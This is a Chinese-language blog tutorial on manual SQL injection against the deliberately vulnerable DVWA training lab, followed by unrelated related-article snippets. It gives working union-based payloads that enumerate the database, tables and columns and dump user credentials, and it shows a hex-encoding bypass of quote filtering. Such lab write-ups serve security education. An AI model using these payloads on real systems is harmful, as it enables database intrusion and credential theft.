DVWA sql手注學習(巨詳細不含sqlmap)

這篇文章主要記錄學習sql注入的過程中遇到的問題已經一點學習感悟,過程圖片會比較多,比較基礎和詳細,不存在看不懂哪一步的過程

文章目錄

  • 靶場介紹
  • SQL注入 low
  • SQL注入 Medium
  • SQL注入 High
  • SQL注入 Impossible

靶場介紹

DVWA(Damn Vulnerable Web Application)是一個專為安全專業人員、開發人員和學生設計的網絡安全靶場。它是一個基于PHP/MySQL的開源Web應用程序,模擬了一個典型的Web應用程序環境,并包含了多種常見的Web安全漏洞,如SQL注入、跨站腳本攻擊(XSS)、文件上傳漏洞、命令注入等。這些漏洞被故意設計出來,用于安全教育和滲透測試訓練。

SQL注入 low

輸入1,正常回顯,觀察URL明顯是get請求傳遞的參數。
在這里插入圖片描述

測試是否存在sql注入,這里用 ’ 來測(雖然這個是靶場,我們已經知道存在sql注入漏洞,我為了理清思路,這里完整的復述一遍)
在這里插入圖片描述
這里報錯了,說明這個網頁存在sql注入的漏洞
在這里插入圖片描述
測一下漏洞是字符型還是數字型

1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注釋,有的地方可以用#注釋,這里只能用#注釋)

前兩個都正常回顯
在這里插入圖片描述
在這里插入圖片描述
這里我們猜測一下數據庫的搜索語句應該是這樣的,那么應該是字符型
在這里插入圖片描述
1’ and 1=1#正常回顯
在這里插入圖片描述

1’ and 1=2#回顯異常了
在這里插入圖片描述
這里我們接著想一想后端的sql搜索語句是怎么寫的,如下圖,當前面閉合后,執行后面的1=1,會正常回顯內容,當你1=2時,永假,頁面肯定回顯異常。到這里就可以判斷一定是字符型的注入了。
在這里插入圖片描述
到這一步基本上我們找到了閉合,可以開始注入了。
ps:到了這兒,該如何注入就得看各位師父們的手法和技巧了,高超的技巧往往能更快更方便注入。

1' order by 
-1' union select 1,2#

這里的意思就是說聯合注入,我們后面查詢的1,2兩個字段的數據顯示在頁面的哪個位置,搞清楚了位置我們就可以通過替換1,2字段的查詢語句來進行數據庫的信息的探測。
在這里插入圖片描述
探測數據庫名

 -1' union select database(),2#

在這里插入圖片描述
探測表名

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在這里插入圖片描述
探測表中字段名

1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在這里插入圖片描述
獲取數據(密碼均為md5加密,各位可以去網上用md5解密網站跑,簡單的一般不用收費)

1' and 1=2 union select user,password from users#

在這里插入圖片描述
好了到此,low級別的sql注入已經差不多完成了,后面的中級和高級最后過程就不贅述,只尋找到閉合。

SQL注入 Medium

我們先觀察一下頁面,只能讓你選擇你的id,不讓你輸入了,使用post傳參,我們可以用burp suite來抓包實現修改post數據
在這里插入圖片描述
數據包如下:
在這里插入圖片描述
分析到這里后,其實其他步驟跟low級別就差不多了

測有無sql漏洞:
id=1'&Submit=Submit測有無sql
判斷類型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi

如此可以測出來,存在數字型的sql注入漏洞
在這里插入圖片描述
測試代碼如下:

id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit

這里要就能體現,medium和low有什么區別了。我們探測user表中的字段數時,發現sql語句報錯了,說明后端做了過濾。我們點開源代碼看看后端做了什么限制。
在這里插入圖片描述
說明他可能過濾掉了我們的單引號,但是這種過濾其實也沒啥太大用處,畢竟換個十六進制加密就能寫進去。

id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit

在這里插入圖片描述

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

在這里插入圖片描述

SQL注入 High

這里我們先審一下后端的代碼,這里做的限制只要是limit 1,給你一個回復,而且你提交數據的頁面和它顯示給你的界面不是同一個,這樣做是防止sqlmap等自動化掃描工具的批量掃描。然而其他的跟low級別基本上差不太多。
在這里插入圖片描述
我們直接用low級別的payload也可以直接獲取到他的數據庫信息。
在這里插入圖片描述

SQL注入 Impossible

關于這個難度,本人的php水平有限,等后期php的水平提升了再來審一下這個靶場的后端代碼,這里先擱置在這里。csdn中很有很多大佬做了代碼審計,各位感興趣可以自行搜索。(QAQ)

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/40663.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/40663.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/40663.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

必備的 Adobe XD 輔助工具

想要高效便捷的使用 Adobe XD, Adobe XD 插件是必不可少的, Adobe XD 的插件非常多,但 90%都是英文,并且良莠不齊。在這兒挑選 9 個好用的 Adobe XD 插件給大家,這里是我整理的一些實用 Adobe XD 插件,讓你…

大屏開發系列——Echarts的基礎使用

本文為個人近期學習總結,若有錯誤之處,歡迎指出! Echarts在vue2中的基礎使用 一、簡單介紹二、基本使用(vue2中)1.npm安裝2.main.js引入3.使用步驟(1)準備帶有寬高的DOM容器;(2)初始化echarts實例&#xff…

gcc: warning: -Wunused-function;加了選項,為什么就不報警告呢?

文章目錄 問題clang的編譯而使用gcc是就不報問題分析原因如果是非static的函數問題 下面這個代碼段,其中這個函數hton_ext_2byte,在整個程序里就沒有使用。 static inline uint16_t hton_ext_2byte(uint8_t **p) {uint16_t v;******return v;

PHP宜邦家政服務管理系統-計算機畢業設計源碼04426

目 錄 摘要 1 緒論 1.1 選題背景與意義 1.2開發現狀 1.3論文結構與章節安排 2 宜邦家政服務管理系統系統分析 2.1 可行性分析 2.1.1 技術可行性分析 2.1.2 經濟可行性分析 2.1.3 操作可行性分析 2.2 系統功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系統用…

國標GB28181視頻匯聚平臺LntonCVS視頻監控安防平臺與國標協議對接解決方案

應急管理部門以“以信息化推動應急管理能力現代化”為總體目標,加快現代信息技術與應急管理業務深度融合,全面支持現代應急管理體系建設,這不僅是國家加強和改進應急管理工作的關鍵舉措,也是應對日益嚴峻的應急管理形勢和滿足公眾…

微信小程序的運行機制與更新機制

1. 小程序運行機制 1.1. 冷啟動與熱啟動 冷啟動為用戶第一次打開小程序時,因為之前沒有打開過,這是第一種冷啟動的情兌。第二種情況為雖然之前用戶打開過,但是小程序被用戶主動的銷毀過,這種情況下我們再次打開小程序&#xff0…

【PALM、WRF-LES】微尺度氣象數值模擬—大渦模擬技術

針對微尺度氣象的復雜性,大渦模擬(LES)提供了一種無可比擬的解決方案。微尺度氣象學涉及對小范圍內的大氣過程進行精確模擬,這些過程往往與天氣模式、地形影響和人為因素如城市布局緊密相關。在這種規模上,傳統的氣象模…

doc文檔下載

目錄 下載 安裝谷歌瀏覽器(chrome)Microsoft Edge瀏覽器 常見問題 下載 見郵件附件 安裝 谷歌瀏覽器(chrome) 打開瀏覽器,地址欄輸入:chrome://extensions/ 右上角打開開發者模式 點擊如上圖左上角的加載已解壓的拓展程序,并選擇剛剛解壓…

安卓應用開發學習:通過騰訊地圖SDK實現定位功能

一、引言 這幾天有些忙,耽誤了寫日志,但我的學習始終沒有落下,有空我就會研究《 Android App 開發進階與項目實戰》一書中定位導航方面的內容。在我的手機上先后實現了“獲取經緯度及地理位置描述信息”和“獲取導航衛星信息”功能后&#x…

afrog-漏洞掃描(挖洞)工具【了解安裝使用詳細】

★★免責聲明★★ 文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將信息做其他用途,由Ta承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。 1、afrog介紹 afrog 是一款性能卓越、快速穩定、PoC可定…

MySQL篇-SQL優化實戰-減少子查詢

回顧 上一篇了解了分析SQL使用的explain,可以點擊查看MySQL篇-SQL優化實戰了解我在寫sql的注意事項還有explain的說明,這次拿一段生產使用的sql進行優化說明。從14s優化到2.6s 待優化的SQL SELECT DISTINCTswpe.tag_number,hca.ACCOUNT_NAME customer…

VBA中類的解讀及應用第十三講:限制復選選擇,窗體模塊的搭建

《VBA中類的解讀及應用》教程【10165646】是我推出的第五套教程,目前已經是第一版修訂了。這套教程定位于最高級,是學完初級,中級后的教程。 類,是非常抽象的,更具研究的價值。隨著我們學習、應用VBA的深入&#xff0…

02-部署LVS-DR群集

1.LVS-DR工作原理 LVS-DR模式,Director Server作為群集的訪問入口,不作為網購使用,節點Director Server 與 Real Server 需要在同一個網絡中,返回給客戶端的數據不需要經過Director Server 為了響應對整個群集的訪問,…

Java WebService記

Web Services開發 常用的 Web Services 框架有 Apache Axis1 、 Apache Axis2 、 Apache CXF ,而 Apache Axis1 已經逐漸被淘汰所以本文不會討論,重點關注 Apache Axis2 及 Apache CXF 。 Apache Axis2 在IDEA中新建 Axis2Demo 項目后右鍵選擇 添加框架…

每天10個js面試題(一)

1.js基本數據類型? JavaScript 共有八種數據類型,分別是Undefined、Null、Boolean、Number、String、Object、Symbol、BigInt。其中 Symbol 和 BigInt 是 ES6 中新增的數據類型 2.let、const、var的區別? let和const有暫時性死區&#xff0…

開源模型應用落地-LangChain高階-智能體探究-agent類型(一)

一、前言 大模型具有非常強大的功能,可以解答疑問、撰寫報告和文檔、總結內容、進行翻譯等各種日常工作任務。然而,大模型還可以應用于更多的場景,發揮出更強大的作用。 通過智能體,我們可以實現許多有價值的事情,比如:在日常生活中,我們能借助智能體實現智能家居的自動化…

【滲透入門】SQL注入

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。 文章目錄 什么是sql注入sql注入舉例防御方式練習靶場 什么是sql注入 SQL注入是一種網絡安全漏洞,攻…

【Android源碼】Gerrit安裝

前言 如果你打開 https://android.googlesource.com/platform/manifest,就會發現,google官方管理Android源碼,使用的是Gerrit。Android系統源碼是非常大的,用Git肯定是不適合。對于大型項目,得用Gerrit,今…

NoSQL之Redis高可用與優化

一、Redis高可用 在web服務器中,高可用是指服務器可以正常訪問的時間,衡量的標準是在多長時間內可以提供正常服務(99.9%、99.99%、99.999%等等)。 但是在Redis語境中,高可用的含義似乎要寬泛一些,除了保證…

二叉樹的鏈式訪問 與 二叉樹專題

目錄 二叉樹的前、中、后序遍歷求二叉樹第K層節點的個數二叉樹查找值為x的節點leetcode相同的樹對稱二叉樹二叉樹的前序遍歷另一棵子樹牛客 二叉樹的遍歷 二叉樹的前、中、后序遍歷 1.前序遍歷:先訪問根節點,再訪問左子樹,最后訪問右子樹 根…